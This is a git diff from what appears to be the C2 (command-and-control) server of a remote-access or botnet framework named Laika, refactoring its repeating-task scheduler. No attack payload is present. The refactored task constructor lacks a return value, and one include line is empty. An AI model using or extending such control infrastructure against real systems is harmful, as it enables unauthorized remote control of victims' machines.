diff --git a/cnc/src/main.c b/cnc/src/main.c index 11e285c..b991b29 100644 --- a/cnc/src/main.c +++ b/cnc/src/main.c @@ -5,15 +5,25 @@ struct sLaika_taskService tService; -/*void debugTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { - printf("hello !\n"); +/*void debugTask1(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { + printf("hello 1 !\n"); +} + +void debugTask2(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { + printf("hello 2 !\n"); +} + +void debugTask3(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { + printf("hello 3 !\n"); }*/ int main(int argv, char **argc) { struct sLaika_cnc *cnc = laikaC_newCNC(13337); laikaT_initTaskService(&tService); - /*laikaT_newTask(&tService, 2000, debugTask, NULL);*/ + /*laikaT_newTask(&tService, 1000, debugTask1, NULL); + laikaT_newTask(&tService, 500, debugTask2, NULL); + laikaT_newTask(&tService, 2000, debugTask3, NULL);*/ while (true) { laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService)); diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 7b3d16b..64eea02 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -1,6 +1,8 @@ #ifndef LAIKA_PACKET_H #define LAIKA_PACKET_H +#include + #define LAIKA_MAGIC "LAI\x12" #define LAIKA_MAGICLEN 4 diff --git a/lib/include/ltask.h b/lib/include/ltask.h index 7b8299c..7b5fcc4 100644 --- a/lib/include/ltask.h +++ b/lib/include/ltask.h @@ -12,6 +12,7 @@ struct sLaika_task { taskCallback callback; void *uData; long scheduled; + int delta; }; struct sLaika_taskService { diff --git a/lvm.h b/lib/include/lvm.h similarity index 100% rename from lvm.h rename to lib/include/lvm.h diff --git a/lib/src/ltask.c b/lib/src/ltask.c index 73d5991..dd15940 100644 --- a/lib/src/ltask.c +++ b/lib/src/ltask.c @@ -24,14 +24,12 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) { } } -struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) { - struct sLaika_task *curr = service->headTask, *last = NULL, *task = laikaM_malloc(sizeof(struct sLaika_task)); +void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) { + struct sLaika_task *curr = service->headTask, *last = NULL; - task->callback = callback; - task->uData = uData; - task->scheduled = getTime() + delta; + task->scheduled = getTime() + task->delta; - /* search list for event for which we're scheduled before */ + /* search list for task for which we're scheduled before */ while (curr != NULL && curr->scheduled < task->scheduled) { last = curr; curr = curr->next; @@ -49,10 +47,10 @@ struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta } } -void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) { +void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) { struct sLaika_task *curr = service->headTask, *last = NULL; - if (task == service->headTask) { + if (task == service->headTask) { /* if task is root, set root to next */ service->headTask = task->next; } else { /* find in list */ @@ -63,8 +61,23 @@ void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task /* unlink */ last->next = task->next; + task->next = NULL; } +} +struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) { + struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task)); + + task->callback = callback; + task->uData = uData; + task->delta = delta; + task->next = NULL; + + scheduleTask(service, task); +} + +void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) { + unscheduleTask(service, task); laikaM_free(task); } @@ -73,21 +86,25 @@ void laikaT_pollTasks(struct sLaika_taskService *service) { clock_t currTick = getTime(); /* run each task, list is already sorted from closest scheduled task to furthest */ - while (curr != NULL && curr->scheduled < currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */ - /* dispatch task callback */ - curr->callback(service, curr, currTick, curr->uData); - - /* walk to next task and free */ + while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */ + /* walk to next task */ last = curr; curr = curr->next; - laikaT_delTask(service, last); + + /* reset task timer */ + unscheduleTask(service, last); + scheduleTask(service, last); + + /* dispatch task callback */ + last->callback(service, last, currTick, last->uData); } } /* will return the delta time in ms till the next event. -1 for no tasks scheduled */ int laikaT_timeTillTask(struct sLaika_taskService *service) { - if (service->headTask) - return service->headTask->scheduled - getTime(); - else + if (service->headTask) { + int pause = service->headTask->scheduled - getTime(); + return (pause > 0) ? pause : 0; + } else return -1; /* no tasks scheduled */ } \ No newline at end of file